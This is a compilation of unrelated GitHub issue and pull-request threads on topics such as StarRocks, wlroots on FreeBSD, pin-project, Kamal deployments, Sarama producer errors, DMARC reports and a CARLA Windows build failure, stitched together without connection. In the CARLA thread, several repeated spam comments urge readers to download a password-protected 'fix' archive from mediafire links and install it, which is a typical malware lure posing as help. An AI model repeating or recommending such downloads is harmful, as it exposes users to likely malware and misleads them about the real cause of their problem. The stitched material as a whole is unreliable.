I've had the same issue.
But I found that this issue already fixed with the latest VIM patch
Thanks a lot~


[BugFix] Fix excessive recursion and optimizer timeout due to too many OR

What type of PR is this：

[ ] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Which issues of this PR fixes ：

Fixes #
Problem Summary(Required) ：

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] I have added user document for my new feature or new function

BE Build Success

BE Build Success

BE Build Success

run starrocks_admit_test


Question about entt::resource

Is there a way I can cast entt::resource to std::shared_ptr?
Here's the situation:
class Bindable {};
class Asset {};

class Texture2D : public Bindable, public Asset {};
class Depth : public Bindable {};

class Manager
{
std::vector<std::shared_ptr<Bindable>> m_Bindables;
};

Here, Texture2D is an asset so it is loaded by the resource_cache as an entt::resource, but I want to store it also in the m_Bindables. I do not want to make std::shared_ptr to entt::resource as other bindables such as Depth is not an asset.
Thanks for any help!

Mmm actually, we could just remove functions like use_count and offer access to the underlying handle instead.
It won't be necessarily available in case of specializations but that's kinda expected and therefore it doesn't matter. 🤔

So, would you please add that to entt::resource class in the future? Thanks a lot!


Feature request: ability to reveal currently playing track in the library

On large libraries, it is easy to get lost and spot the playing indicator

Something I like from Rhythmbox is the ability to mark current playing song
by positioning it and mark it as  selected in the center of the list.
El 9 mar. 2018 6:52 AM, "Yury"<EMAIL_ADDRESS>escribió:
On large libraries, it is easy to get lost and spot the playing indicator
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/KeitIG/museeks/issues/417, or mute the thread
https://github.com/notifications/unsubscribe-auth/AGFHg6fFWb6JyS-gqH2W-Qie7XJhWWdXks5tcl7kgaJpZM4SkFuN
.

I am thinking about implementing this one, but I am struggling for the design part. A shortcut could do the trick, but a button/action/something would be really helpful too for people who are not keyboard-only.

Options (not mutually exclusive):

Context menu item (Kinda like in Chrome dev tools)
An icon/button in header (it is pretty crowded already tho)
Make track name clickable

When I created https://github.com/martpie/museeks/issues/519 it was related to this issue but when @martpie mentions a shortcut to currently playing track I realise they are distinct issues...
When navigating between views (i.e. libraries, playlists, settings) the view state/position should always persist in case the user is jumping between views to complete a task
Skipping to currently playing track is a separate useful thing
Sincerely


Remove unneeded skipped crates for duplicate dependencies

Objective
The deny.toml file defines some crates that are skipped for duplicate dependency detection, because the issues are deeper in the dependency tree and not easily fixable.
However, two of those exceptions are no longer necessary.
Solution
Remove hashbrown and mio from the skipped crates, according to cargo deny check this is no longer needed.

bors r+


Use msid app_data as track id

rename field :id to :mid in %Track{} struct
set value of :id field in %Track{} struct to msid app_data received in SDP answer from client

closes #8

outdated


fix #1222: use image sha in s2i build to avoid knative registry resol…

…ution

cc: @astefanutti

Release Note
Fixed x509 certificate errors for Knative serving services on OpenShift

I'm trying to replicate this with Buildah in the context of #1259. I've just realised Buildah is returning the image Id digest, which is different from the repository digest :( Once I've managed to retrieve the correct digest, I'll factorize the code for Buildah and s2i.

That works also for Buildah: https://github.com/apache/camel-k/pull/1259/commits/a095724a23f564cca811d77ad311dd5c55c90307#diff-8bfaca691ee0b99d585e230595d49e6aR230.


There is no /dev/ttyv10 on FreeBSD

In file backend/session/direct-freebsd.c, function setup_tty, it constructs the path to vty with:
snprintf(tty_path, sizeof(tty_path), "/dev/ttyv%d", tty - 1);

It fails when tty - 1 is 10 or greater because there is no /dev/ttyv10 on the system. FreeBSD uses /dev/ttyva and /dev/ttyvb instead.
$ ls -1 /dev/ttyv*
/dev/ttyv0
/dev/ttyv1
/dev/ttyv2
/dev/ttyv3
/dev/ttyv4
/dev/ttyv5
/dev/ttyv6
/dev/ttyv7
/dev/ttyv8
/dev/ttyv9
/dev/ttyva
/dev/ttyvb

This causes sway to fail with 'Cannot open tty: No such file or directory.'

Patches are welcome. We don't really have a prominent FreeBSD user/maintainer to test things like this.

Did you launch a bunch of direct sessions simultaneously? :) I've never really used more than one display server, and I use consolekit anyway so my wayfire is on /dev/ttyv0 all the time.
This seems trivial, try changing that line to use %x instead of %d.

Did you launch a bunch of direct sessions simultaneously? :)

Yes!
/dev/ttyv8 ran GDM (installed from FreeBSD ports) on Xorg.
/dev/ttyv9 ran GNOME (installed from upstream git) on Xorg.
The next vty available for use was /dev/ttyva, but wlroots chose /dev/ttyv10 and failed.

I've never really used more than one display server, and I use consolekit anyway so my wayfire is on /dev/ttyv0 all the time.

I know there is an option called CONSOLEKIT in x11-toolkits/wlroots port, but I don't know how to use it. I was just finding an easy way to run Wayland natively on FreeBSD. I used to run mutter in nested mode (mutter --wayland --nested --no-x11), but I guess applications and toolkits may behave differently if I run them natively.
This bug was found during testing a GTK4 bug: https://gitlab.gnome.org/GNOME/gtk/issues/2201.

This seems trivial, try changing that line to use %x instead of %d.

I already did it on my local installation, but I haven't checked how the kernel will pick the name if the number of consoles is greater tha 16.

This seems trivial, try changing that line to use %x instead of %d.

I already did it on my local installation, but I haven't checked how the kernel will pick the name if the number of consoles is greater than 16.

I increased the number of consoles to 1600 in a VM in order to understand how the kernel chooses names. It seems that it is a number of base 32 with digits 0 ~ 9 and a ~ v. When the number goes up to /dev/ttyvv, the next device is /dev/ttyv10. The same thing happens when the number goes up to /dev/ttyvvv. The next device is /dev/ttyv100.

I opened https://github.com/swaywm/wlroots/pull/1945 to fix this issue.

Please forgive me for a little offtopic.
@lantw44 With consolekit2 you do not have to mess with permissions of /dev/input/event* devices (like granting RW access for all users) or even set setuid flag on wayland compositor to get input devices working.
More info here, if you may find this interesting: https://lists.freebsd.org/pipermail/freebsd-x11/2019-September/024038.html

@shamazmazum Thanks for the link. It seems that I can't use CONSOLEKIT option without applying patches to ports.


Tracking issue for pin-project 0.4

Current prerelease: 0.4.0-alpha.10
The most important fix of this release is that pin projection has become a safe operation (#18, thanks @Aaron1011)
Changes

#[unsafe_project] has been replaced with #[pin_project]. (#18, #33)
The Unpin argument has been removed - an Unpin impl is now generated by default. (#18)
Drop impls must be specified with #[pinned_drop] instead of via a normal Drop impl. (#18, #33)
Unpin impls must be specified with an impl of UnsafeUnpin, instead of implementing the normal Unpin trait. (#18)
Changed project method generated by #[pin_project] attribute to take an &mut Pin<&mut Self> argument. (#47)
#[project] attribute can now be used for impl blocks (#46).
Made #[project] attribute disabled by default. (#36, #41)

TODO
Some adjustments are needed.

[x] Make error message more obvious (https://github.com/taiki-e/pin-project/pull/18#discussion_r308108570); done in #22
[x] unsafe_Unpin vs UnsafeUnpin vs unsafe_unpin (https://github.com/taiki-e/pin-project/pull/18#discussion_r308003657); done in #40 (Adopted UnsafeUnpin).
[x] Update proc-macro2, syn, and quote to 1.0; done in #23
[ ] Test code examples in README (#19)
[x] Mention #32 in the documents; done in #34
[x] pin-project does not interoperate well with #[cfg()] (#68)

Unresolved issues

[ ] Different approach to Unpin vs Drop (#26)

Blockers

[ ] Whether or not self: &mut Pin<&mut Self> stabilizes in Rust 1.39  (https://github.com/rust-lang/rust/pull/64325)
[ ] Rustdoc issues (will be fixed in https://github.com/rust-lang/rust/pull/62855).
[x] 1.0 release of proc-macro2, syn, and quote

I plan to have a few alpha releases before the blockers are resolved.

I don't list it as a blocker, but https://github.com/rust-lang/rust/issues/63281 is one of the issues to consider.

Mention #32 in the documents can be checked off/removed, now that the issue is closed.

@Aaron1011 thanks 👍

Published 0.4.0-alpha.1 (crate.io, releases)!

TR; DR: Added "Whether or not self: &mut Pin<&mut Self> stabilizes in Rust 1.39" (https://github.com/rust-lang/rust/pull/64325) to blocker list.
https://github.com/rust-lang/rust/pull/64325 stabilizes self: &mut Pin<&mut Self>.
This removes some of the hacks introduced in #47.
It can also solve some existing problems (e.g., https://github.com/tower-rs/tower/pull/326#discussion_r322422235).
However, this means will take a different approach between versions prior to 1.39 and versions 1.39 or later. This should not break compatibility, but it will cause a feature that is "supported only with rust 1.39 or later". Specifically, it is a feature that "project/project_into methods are called outside the defined scope" that is planned to be provided by #80.
Also, if stabilization is delayed, the impact on crate using async / await (e.g., tower) is too big, so merge #80 to make those features available in versions 1.39 and earlier.

I have filed #107 to fix #102. Once #107 is merged, I will release 0.4.0. As documentation fixes are no breaking changes, will be fixed in the patch versions.

Published 0.4.0. Thanks everybody for your contribution and feedback (especially @Aaron1011!).


[Enhancement] Modify sql_mode default value to only_full_group_by in version 2.3

What type of PR is this：

[ ] bug
[ ] feature
[x] enhancement
[ ] refactor
[ ] others

Which issues of this PR fixes ：

Fixes #5578
Problem Summary(Required) ：

[FE PR Coverage check]
:disappointed: fail : 5 / 8 (62.50%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/qe/VariableMgr.java
4
7
57.14%

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
1
1
100.00%


handle pyyaml just like other dependencies

first step towards fixing pyyaml dependency stuff.  we'll stick with the distro versions for now.
#81  and eventually will relate to #80

Yeah it looks like they're keeping safe_load around as an alias in 5.1, so it should be safe to use it here.
It might be good to both lower the min version to 3.12 or 3.11 (ubuntu xenial) and change yaml.load to yaml.safe_load.  In the future we can plan to integrate OWASP or similar into the CI process so we don't need to worry about checking against min versions anymore.

So, the installer will already warn on an old version and ask the user for an override.  So, they can proceed.  Do you think we should still have the version check and warning? @lukehinds

So, the installer will already warn on an old version and ask the user for an override. So, they can proceed. Do you think we should still have the version check and warning? @lukehinds

Hmm, I personally would not if we use safe_load. I say this on basis that a lot of folks might see the warning and out of concern start then trying to use pip or another means of getting a later version of pyyaml outside of ubuntu / debians main package repositories and this in turn might bite them later when upgrading etc. I think moving to OS packages over pypi is a good move though and we should definitely keep that code!

I also wanted to add its highly likely that ubuntu have backported the security fixes into the version in the package repos.
Red Hat do something similar, they maintain a long term stable version and back port in security fixes. So a version number that is insecure upstream, may well likely be patched for the same release number downstream.

Here we go: https://launchpad.net/ubuntu/+source/pyyaml/3.11-1ubuntu0.1

ok, i've left 3.11 in setup.py to make sure that it will just work.  i've removed the check and added the safe_load call.


feat(lacework-agent): Add functionality for mounting additional volumes

Hi guys,
Should be a fairly simple addition to the main chart that has been bugging me for a while.
The main goal of this PR is to allow mounting volumes to the lacework agent container. The main use case for us with this change is for mounting Kubernetes secrets to the container like the agent token. This means we do not have to hard code these in the helm chart.
We have been running with this from our own fork of the chart for a while but figured it was time to propose it for the main chart as well.
Thanks,
Adam

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Skip building an deploy some standard docker image (listed at Docker Hub)

I could not find where the documentation explains how to make Kamal skip the "build" step and just deploy some docker image found at the public Docker Hub.

I think I found it in the Config section:

Still, it is looking for some Dockerfile. Can it do without it and just use the public docker image?

This would be really helpful even, when you already have a built private image (from the same ghcr.io registry that you use in deploy.yml).
I would image the deploy.yml having something this as an option:
builder:
  disable: true

I'm in the same boat and also need to skip the builder step. As my workflow requires to run rails tests and linters successfully before pushing it to ghcr registry. With the current solution I would build the image twice.
on:
  push:
    branches: [ main ]

jobs:
  build-test-push:
    runs-on: ubuntu-latest

    permissions:
      contents: read
      packages: write

    steps:
      - name: check out repository
        uses: actions/checkout@v4

      - name: set up docker buildx
        uses: docker/setup-buildx-action@v3

      - name: build & cache Docker image
        uses: docker/build-push-action@v5
        with:
          load: true
          tags: ${{ github.repository }}:${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

      - name: run Rails tests & linter
        run: docker-compose -f docker-compose.ci.yml up --abort-on-container-exit

      - name: log in to GitHub Container Registry
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ github.token }}

      - name: push Docker image to GitHub Container Registry
        uses: docker/build-push-action@v5
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.sha }}

  #__DEPLOY

I'm also trying to deploy a public image with kamal and encounter some of the same issues.
Even with kamal deploy -P, kamal will try to get an image that has been tagged with the current commit sha.
Even with kamal deploy -P --version=v0.48.1, kamal will fail because the image does not have the service label
I think I'll have to create a one-line Dockerfile that is just a FROM some/publicimage to bypass this but it would be so so great to be able to easily release any public docker image with kamal

I am evaluating kamal for my use-case but I'm having the same problem. My build process generates an image already, I just want to release it. Making the build process optional for the entire workflow would be great.

Same issue for me. Not having the ability to skip build step makes Kamal nearly useless for public images

This is a feature Kamal is desperately missing.
I have made an open source rails app and have been trying to figure out how to best simplify deployment for other people. At present using DockerHub + Kamal would require sharing my password with the entire world.
Please add a no-login option.

What I'm doing currently is creating a dummy busybox container for a placeholder in the service so I can deploy public docker images as an accessory.
Dockerfile example:
FROM busybox:1.36.1

CMD ["tail", "-f", "/dev/null"]

kamal-config example:
# Name of your application. Used to uniquely configure containers.
service: kamal-test

# Name of the container image.
image: <registry-username>/kamal-test

servers:
  - <IP_ADDRESS>

registry:
  username: <registry-username>
  password:
    - KAMAL_REGISTRY_PASSWORD

ssh:
  user: <ssh-user>

accessories:
  app:
    image: nginx:1.24.0
    host: <IP_ADDRESS>
    port: <IP_ADDRESS>:8080:80
    files:
      - nginx.conf:/etc/nginx/nginx.conf

# Since the dummy service is not serving anything, healthcheck is set to true.
# probably there are other ways to optimize this to get true healthcheck (proxying healthcheck to "app" accessory)
healthcheck:
  cmd: /bin/true

Would indeed be great to just update the config/deploy.yaml with an already built image.
A --skip-build would be so great.
As primary_role looks required, and by assuming the following (an extra "image" key containing the already built image) :
...
primary_role: web

servers:
  web:
    hosts:
      - <IP_ADDRESS>
    image: "tagged_imge_name" # <<<--- does not exists (yet) ?
...

it looks doable with a very minimal update here :
def absolute_image
  raw_config.servers.dig(raw_config.primary_role, "image") ||
    "#{repository}:#{version}"
end

(This single modification provide the expected behaviour when using --skip-push)

Kamal is a wonderful tool, too bad it does not provide this capacity yet
While using --skip-push, a very minimal change here would make it all work.
It could just accepts something from the cli (like --image xyz:latest) and skip the build

Kamal is a wonderful tool, too bad it does not provide this capacity yet
While using --skip-push, a very minimal change here would make it all work.
It could just accepts something from the cli (like --tagged-image xyz:latest) and skip the build

please make a pull request!

@acidtib I did a very simple hack in a fork here. Passing a new arg requires more work.
To be honest, by looking at the code, the "deploying local code only" is deeply rooted. Coupled with the fact that each elements in the servers: block use the same image
IMHO a clean fix (rework) would be to prioritize the requirement discussed here, and falling back to the current behaviour (local code build/push)

Seems like you can achieve this with the VERSION env var combined with -P. This is the command I use to deploy the latest image (already built for staging) to production:
VERSION=latest kamal deploy -P -d production

Kamal requires that images are labeled with the service, so that it can identify them when pruning.
So right now you can't deploy arbitrary public images. If you have an external image that you've built yourself with the service label, then you can either also tag it with the appropriate git SHA or use @joelcogen's suggestion to override the version.

@gregjotau - does it work if you remove the ; after VERSION=latest?

That's a requirement of Kamal, you'll need to add a label called "service" to your image. The value should be the same as the service in your Kamal configuration.

Was anybody able to make this work with kamal2? Tried adding the label, and deploying with kamal deploy -P.
Part of my deploy.yml:
service: gotenberg

image: gotenberg/gotenberg:8

labels:
  service: gotenberg

Kamal still tries to log in to the registry every time.

This still hasn’t been fixed after a year? I build an image using GitHub Actions and then push it to GitHub’s registry. I don’t want Kamal to build anything. It’s strange that I can’t skip this step.

Seems like you can achieve this with the VERSION env var combined with -P. This is the command I use to deploy the latest image (already built for staging) to production:
VERSION=latest kamal deploy -P -d production

Thanks, this was useful. I've been trying for ages to build an image in Github Actions and then deploy it from my Macbook without having to rebuild it locally.  I ended up with VERSION=$(git rev-parse HEAD) kamal deploy -P.

Proving impossible to deploy pihole/pihole image to a local Pi using kamal2.
From reading these posts it seems that I need to build my own image of pihole, label it to match the service, push it back to dockerhub and then deploy.
But the issue then is that the sha1 from my local git repository (which I had to create as kamal2 insists on using git to determine the latest version) doesn't match the tag on dockerhub.
Am I going down the completely wrong rabbit hole with this? It doesn't feel natural.

It's a hard requirement of Kamal right now that images have the service label, so we can identify them when pruning.
We could switch that to filtering by reference instead and drop the requirement, then we could deploy any image which would definitely be nice to be able to do.
Not completely straightforward though. If someone is deploying multiple apps to a server using the same image, we'd need to make sure app A doesn't try to prune images used by app B.

@djmb Instead of trying to change the behavior for the main app config, would it maybe be easier to make the main app completely optional and run an accessory-only setup? Like in https://github.com/basecamp/kamal/issues/497#issuecomment-1937844494, but without the requirement of creating a dummy container.


Guidance: Open terminal with commands

I'd love to know how I can fire up the terminal with commands.
I just found out that wt.exe works, but I am not yet able to figure out how to pass commands to the terminal. (If that's even possible)
Just something like: wt.exe ssh<EMAIL_ADDRESS>-t 'cd /whatever'
I already set wsl to default, so that doesn't matter, but I could even imagine choosing a shell, besides using the default one wt.exe --shell wsl --commands ...

Seems not be possible as of #607

For README:

Currently supported command line options:

none
see #607

Maybe that helps for people like me 😁

Yeah this will be #607

We should add it to the docs. Thanks!


kafka: Failed to produce message to topic myRsp: write tcp [ip1]:[port1]->[ip2]:[port2]: write: broken pipe

Description
Hi there, I encountered an old issue similar to #1565  and #2004 when I use AsyncProducer
Versions

Sarama
Kafka
Go

v1.42.2
3.7.0
1.18

Configuration
cfg.Producer.Return.Successes = true
cfg.Producer.Return.Errors = true
cfg.Producer.RequiredAcks = sarama.WaitForAll

cfg.Producer.Retry.Max = 1
cfg.Net.DialTimeout = 5 * time.Second
cfg.Net.ReadTimeout = 5 * time.Second

Logs

logs: CLICK ME

[sarama]2024/05/17 16:47:14 Connected to broker at <IP_ADDRESS>:13644 (registered as #3)
[sarama]2024/05/17 16:56:57 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:56:57 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:56:57 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:57:00 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:57:00 client/metadata got error from broker 2 while fetching metadata: EOF
[sarama]2024/05/17 16:57:00 Closed connection to broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:57:00 client/brokers deregistered broker #2 at <IP_ADDRESS>:13644
[sarama]2024/05/17 16:57:01 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 16:57:01 client/brokers registered new broker #2 at <IP_ADDRESS>:13644
[sarama]2024/05/17 17:06:18 producer/leader/myRsp/3 state change to [retrying-1]
[sarama]2024/05/17 17:06:18 producer/leader/myRsp/3 abandoning broker 1
[sarama]2024/05/17 17:06:18 producer/broker/1 input chan closed
[sarama]2024/05/17 17:06:18 producer/broker/1 shut down
[sarama]2024/05/17 17:06:18 client/metadata fetching metadata for [myRsp] from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 17:06:18 producer/leader/myRsp/3 selected broker 1
[sarama]2024/05/17 17:06:18 producer/broker/1 state change to [open] on myRsp/3
[sarama]2024/05/17 17:06:18 producer/leader/myRsp/3 state change to [flushing-1]
[sarama]2024/05/17 17:06:18 producer/leader/myRsp/3 state change to [normal]
[sarama]2024/05/17 17:06:18 producer/broker/1 state change to [closing] because write tcp <IP_ADDRESS>:58112-><IP_ADDRESS>:13644: write: broken pipe
[sarama]2024/05/17 17:06:18 Closed connection to broker <IP_ADDRESS>:13644
[sarama]2024/05/17 17:06:57 client/metadata fetching metadata for all topics from broker <IP_ADDRESS>:13644
[sarama]2024/05/17 17:06:57 Connected to broker at <IP_ADDRESS>:13644 (registered as #1)

Additional Context
The occurrence time of the issue is 17:06:18

@dnwe @k-wall , could you mind having a look at this?

I'm not using Sarama much right now.   Have you examine the logs from the Broker side?

Thanks @k-wall for replying. Unfortunately, there is no broker log while the issue occurs.
Generally, if I set the configuration like this:
cfg.Producer.Retry.Max = 3
cfg.Net.DialTimeout = 30 * time.Second
cfg.Net.ReadTimeout = 30 * time.Second

the AsyncProducer could send message successfully. However, if I configure them like this, the fault detection time will be extended, which will cause the business unit to not accept this delay.

@dnwe @k-wall , I reproduced the issue on 27th May, and I found the connection between <IP_ADDRESS>(server) and <IP_ADDRESS>(client) has been finished by kafka server at 15:54:54.104013 (frame NO. 16770976) and this acknowledged by client at 15:54:54.144786 (frame NO. 16771072). Please see the following screenshot:

At this moment, the client should not use the finished connection anymore, but the client try to send message again via the outdated connection at 16:01:20. Please see the following screenshot:

To my surprise, why does the producer continue to use the old connection sometimes? Which parameter determines this?

I don’t think there’s anyway to know that the underlying socket has been FIN closed from the remote side, except to attempt to write to it, and receiving a broken pipe result?

Thank you, @puellanivis, for your response. As you can see, frame NO. 16771072 has been acknowledged with a FIN from the remote server side. This means that the client should receive a notification that the connection has been closed (finished).
Alternatively, is there a way to quickly establish a new connection upon receiving a broken pipe without having to set cfg.Producer.Retry.Max to 2 or a larger value? Setting cfg.Producer.Retry.Max to a higher value will result in business timeouts.

If the problem is that the client is closing down the connection, then yes, it should be silently handling this disconnect scenario, but if it’s a result of the client calling a function to explicitly shutdown the connection to Kafka, then the correct action is not to attempt a reconnect, but rather avoid sending on that same client object that you’ve told to close down.
If the problem is on the server side closing the connection, there’s not really a way for the client to know that this connection has already been lost (I think). I’m also unsure if a retry would attempt a reconnect before sending. 🤷♀
I’m kind of starting to reach outside of my scope of knowledge.


DMARC reports

Hello,
You mention "the reports generated through DMARC will provide the numbers and sources of messages that pass these checks, and those that don't. You can easily see how much of your legitimate traffic is or isn't covered by them, and troubleshoot any problems."
Could you please indicate where we can see those reports?
Thank you.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7861a800-7643-dca5-1046-232a51d6e61e
Version Independent ID: d78fc416-516b-15ab-4719-068f7d13ecca
Content: Use DMARC to validate email - Office 365
Content Source: microsoft-365/security/office-365-security/use-dmarc-to-validate-email.md
Service: o365-seccomp
GitHub Login: @MSFTTracyP
Microsoft Alias: tracyp

@bertrandpons Thank you for your feedback. In order to receive DMARC aggregate reports an organization needs to create a DMARC record and publish it into the DNS. If you already have the record published, check for the record that contains an RUA tag (tag: rua=mailto:example@somedomain.com). This email address will be the endpoint for the DMARC reporting organization to send the DMARC aggregate report to.
Hope this Helps!
@yogkumgit There are no changes required in this document and the issue can be closed.
Thanks
Sri

@bertrandpons Thank you for your feedback. In order to receive DMARC aggregate reports an organization needs to create a DMARC record and publish it into the DNS. If you already have the record published, check for the record that contains an RUA tag (tag: rua=mailto:example@somedomain.com). This email address will be the endpoint for the DMARC reporting organization to send the DMARC aggregate report to.
Hope this Helps!
@yogkumgit There are no changes required in this document and the issue can be closed.
Thanks
Sri

@msbemba Thank you very much for the contribution and sharing this explanation. @bertrandpons Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.

@msbemba Thank you very much for the contribution and sharing this explanation. @bertrandpons Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


reorganize tutorials

I found our Tutorials to have become a bit messy. I added a new category analysis. I also moved the flexible interface and the sampler interface to Introduction. Let me know what you think of this.

I like this new organisation.
For a later point in time, I would openly wonder, if the entire tutorial could be aligned to:
Gelman et al, "Bayesian Workflow", arxiv:2011.01808
SBI is special depending on what mode people pursue. But the core ideas from this paper should apply. Thoughts?

@psteinb yes, good point. I would be great to set up an analog of the Bayesian workflow for the SBI setting!


Make PythonAPI failed when build carla

CARLA version: carla-dev
Platform/OS: Windows 10
Problem you have experienced: make PythonAPI failed
This is the make log:
D:\Carla\carla-dev>make PythonAPI
-[BuildUE4Plugins]: [Batch params]: --build --all
fatal: unable to access 'https://github.com/carla-simulator/StreetMap.git/': OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0
HEAD is now at 260273d Correct descriptor
-[BuildUE4Plugins]: STREETMAP has been successfully installed in "D:\Carla\carla-dev\Unreal\CarlaUE4\Plugins"
-[Setup]: [Batch params]: --boost-toolset msvc-14.2 --generator "" --all
-[Setup]: Asynchronous jobs:  16
-[Setup]: Boost toolset:      msvc-14.2
-[Setup]: Generator:          "Visual Studio 16 2019"
-[Setup]: Install directory:  "D:\Carla\carla-dev\Build"
-[Setup]: Installing zlib...
-[install_zlib]: [Batch params]: --build-dir "D:\Carla\carla-dev\Build"
-[install_zlib]: A zlib installation already exists.
-[install_zlib]: Delete "D:\Carla\carla-dev\Build\zlib-install" if you want to force a rebuild.
-[install_zlib]: Exiting...
系统找不到指定的路径。
已复制         0 个文件。
-[Setup]: Installing libpng...
-[install_libpng]: [Batch params]: --build-dir "D:\Carla\carla-dev\Build" --zlib-install-dir "D:\Carla\carla-dev\Build\zlib-install"
-[install_libpng]: A libpng installation already exists.
-[install_libpng]: Delete "D:\Carla\carla-dev\Build\libpng-1.2.37-install" if you want to force a rebuild.
-[install_libpng]: Exiting...
-[Setup]: Installing rpclib...
-[install_rpclib]: [Batch params]: --build-dir "D:\Carla\carla-dev\Build" --generator "Visual Studio 16 2019"
-[install_rpclib]: A rpclib installation already exists.
-[install_rpclib]: Delete "D:\Carla\carla-dev\Build\rpclib-install" if you want to force a rebuild.
-[install_rpclib]: Exiting...
-[Setup]: Installing Google Test...
-[install_gtest]: [Batch params]: --build-dir "D:\Carla\carla-dev\Build" --generator "Visual Studio 16 2019"
系统找不到指定的批处理标签 - already_build

-[Setup]:
Ok, and error ocurred, don't panic
We have different platforms where you can find some help :)

Make sure you have read the documentation:
http://carla.readthedocs.io/en/latest/how_to_build_on_windows/

If the problem persists, you can ask on our Github's "Building on Windows" issue:
https://github.com/carla-simulator/carla/issues/21
The chinese part means "The system could not find the batch tag specified".

What you expected to happen:
I haven't see this issue before and I want to know what the problem is.
Steps to reproduce:
Just follow the steps in windows build. The only difference is I do not find Windows 8.1 SDK in my VS 2019 and use Windows 10 SDK.
Other information (documentation you consulted, workarounds you tried):
I didn't know what's happening so I do not know how to sovle it. Just tried some basic solution like reinstall VS 2019.

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hi,
The key part is fatal: unable to access 'https://github.com/carla-simulator/StreetMap.git/': OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0. This could be a firewall issue or a git config problem.

我也是这个问题

Hi,
The key part is fatal: unable to access 'https://github.com/carla-simulator/StreetMap.git/': OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0. This could be a firewall issue or a git config problem.

Thank you very much for your replay! I noticed this error and fixed it, but the make problem still remained. I have no other way so I changed to linux build. Now it works well :D.

我也是这个问题

我最后也没找到方法，现在用linux build了，linux build基本没出过什么问题，操作也更简单一点


Change custom withdraw warning from tooltip -> textbox

Problem
There have been complaints from the community support DAO that users have missed the warning and have deposited and lost funds to a CEX address.

Solution
Change warning from tooltip to large and prominent text box below the address boxes.

will you add a memo option too, that would solve any CEX problem!


Terminal does not come to foreground to present the "Do you want to close all tabs?" dialog

Windows Terminal version
1.12.10393.0
Windows build number
10.0.22000.493
Other Software
No response
Steps to reproduce

Open Terminal
Open a second tab
Minimize Terminal
Right click Terminal on the taskbar and select "Close all Windows"

This might be a bigger issue than just Terminal.  I recall mspaint doing this, but it doesn't anymore.  Notepad does properly reappear out of nowhere to ask me to save my work, so it does seem possible.
Expected Behavior
Terminal opens and comes to foreground to present the "Do you want to close all tabs?" dialog
Actual Behavior
Nothing happens.  Presumably the dialog shows but restoring the window closes the dialog, so I never see it.

Yea we could probably do this. Thanks for the suggestion!

This seems to be the default behavior on the dev branch on Windows 11.

Note
Walkthrough

I believe IslandWindow::SummonWindow already should handle bringing the Terminal window to the foreground.

You'll probably want to set the SummonWindowBehavior to { MoveToCurrentDesktop: false, ToggleVisibility: false, DropdownDuration: 0, ToMonitor: OnCurrent}

When TerminalWindow attempts to display the close or quit dialog, raise an event out of TerminalPage / TerminalWindow

Possible edge case: moving the window will automatically dismiss the warning dialog. Bringing the window to the foreground might make the window think it was "moved".

I should have specified. It seems to be the default on my windows 11 laptop (one screen). Ill try on my desktop (multi-mon) and see if there is different behavior. If so, Ill see what I can come up with.

Ohhh 😮. I see the problem. If you click the red x button to close the window is not brought to the foreground. Ok. I'll take a stab at this one too if there are no objections.

You're the man ☺

I guess there are two ways to approach it..

Always summon the window. If there are not multiple tabs it will just close with a brief flash of the window.
Bottom up (the way you suggested) - likely no brief flash and probably the better way in terms of user experience


Deployment of storage accounts fails due to invalid values for request parameters for NetworkRuleSet

Deployment Mode
Deploy To Azure
Steps to reproduce
Standard deployment of DLZ using deploy to Azure button results in storage accounts failing to be deployed.
Error Message
Screenshot below

Screenshots

Code of Conduct

[X] I agree to follow this project's Code of Conduct

@abdale Can you please share with me what you have entered here:

Thanks!

... I left it blank as this was the only DLZ being deployed.


Apps metadata for client

Summary
This PR adds a AppMetadataForClient struct to send back the bot user id and bot username to the client.
Ticket Link
Fixes https://mattermost.atlassian.net/browse/MM-31083

@DHaussermann FYI nothing has functionally changed since you originally checked out this branch


Correction: Second name / title Son of Big Bottle

URI of the page with the mistake
https://usaybia.net/person/359
What should be corrected on the page?
an second name / title is added to the Headword. Should it be treated as a second name or title?
How should it be corrected?
Found in the work like this:
